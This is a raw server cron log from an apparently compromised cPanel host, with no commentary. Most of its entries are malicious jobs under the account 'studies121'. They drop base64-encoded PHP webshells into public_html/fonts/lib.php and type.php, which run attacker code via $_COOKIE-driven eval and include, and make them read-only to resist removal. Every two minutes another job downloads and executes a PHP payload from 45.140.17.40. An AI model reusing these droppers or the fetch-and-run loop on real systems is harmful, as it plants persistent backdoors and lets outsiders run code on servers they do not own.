Sep  3 01:57:01 ip-184-168-122-23 CROND[13206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:57:01 ip-184-168-122-23 CROND[13207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:57:01 ip-184-168-122-23 CROND[13208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:58:01 ip-184-168-122-23 CROND[13373]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:58:01 ip-184-168-122-23 CROND[13375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:58:01 ip-184-168-122-23 CROND[13376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:58:01 ip-184-168-122-23 CROND[13379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:58:01 ip-184-168-122-23 CROND[13378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:59:01 ip-184-168-122-23 CROND[13456]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:59:01 ip-184-168-122-23 CROND[13459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:59:01 ip-184-168-122-23 CROND[13457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:59:01 ip-184-168-122-23 CROND[13458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:00:01 ip-184-168-122-23 CROND[13545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:00:01 ip-184-168-122-23 CROND[13548]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:00:01 ip-184-168-122-23 CROND[13549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:00:02 ip-184-168-122-23 CROND[13554]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:00:02 ip-184-168-122-23 CROND[13557]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep  3 02:00:02 ip-184-168-122-23 CROND[13553]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 02:00:02 ip-184-168-122-23 CROND[13551]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:00:02 ip-184-168-122-23 CROND[13550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:00:02 ip-184-168-122-23 CROND[13555]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 02:00:02 ip-184-168-122-23 CROND[13558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:01:01 ip-184-168-122-23 CROND[13654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:01:01 ip-184-168-122-23 CROND[13656]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 02:01:01 ip-184-168-122-23 CROND[13658]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 02:01:01 ip-184-168-122-23 CROND[13659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:01:01 ip-184-168-122-23 CROND[13660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:01:01 ip-184-168-122-23 CROND[13661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13656]: starting 0anacron
Sep  3 02:01:01 ip-184-168-122-23 anacron[13675]: Anacron started on 2026-09-03
Sep  3 02:01:01 ip-184-168-122-23 anacron[13675]: Normal exit (0 jobs run)
Sep  3 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13678]: finished 0anacron
Sep  3 02:02:01 ip-184-168-122-23 CROND[13765]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:02:01 ip-184-168-122-23 CROND[13767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:02:01 ip-184-168-122-23 CROND[13769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:02:01 ip-184-168-122-23 CROND[13768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:02:01 ip-184-168-122-23 CROND[13772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:03:02 ip-184-168-122-23 CROND[13963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:03:02 ip-184-168-122-23 CROND[13962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:03:02 ip-184-168-122-23 CROND[13965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:03:02 ip-184-168-122-23 CROND[13964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:04:01 ip-184-168-122-23 CROND[14051]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:04:01 ip-184-168-122-23 CROND[14053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:04:01 ip-184-168-122-23 CROND[14055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:04:01 ip-184-168-122-23 CROND[14057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:04:01 ip-184-168-122-23 CROND[14054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:05:01 ip-184-168-122-23 CROND[14145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:05:01 ip-184-168-122-23 CROND[14144]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:05:01 ip-184-168-122-23 CROND[14148]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:05:01 ip-184-168-122-23 CROND[14150]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 02:05:01 ip-184-168-122-23 CROND[14151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:05:01 ip-184-168-122-23 CROND[14149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:05:01 ip-184-168-122-23 CROND[14147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:06:01 ip-184-168-122-23 CROND[14244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:06:01 ip-184-168-122-23 CROND[14245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:06:01 ip-184-168-122-23 CROND[14248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:06:01 ip-184-168-122-23 CROND[14249]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:06:01 ip-184-168-122-23 CROND[14250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:07:01 ip-184-168-122-23 CROND[14331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:07:01 ip-184-168-122-23 CROND[14330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:07:01 ip-184-168-122-23 CROND[14332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:07:01 ip-184-168-122-23 CROND[14333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:08:01 ip-184-168-122-23 CROND[14407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:08:01 ip-184-168-122-23 CROND[14408]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 02:08:01 ip-184-168-122-23 CROND[14411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:08:01 ip-184-168-122-23 CROND[14412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:08:01 ip-184-168-122-23 CROND[14413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 02:09:01 ip-184-168-122-23 CROND[14495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 02:09:01 ip-184-168-122-23 CROND[14500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
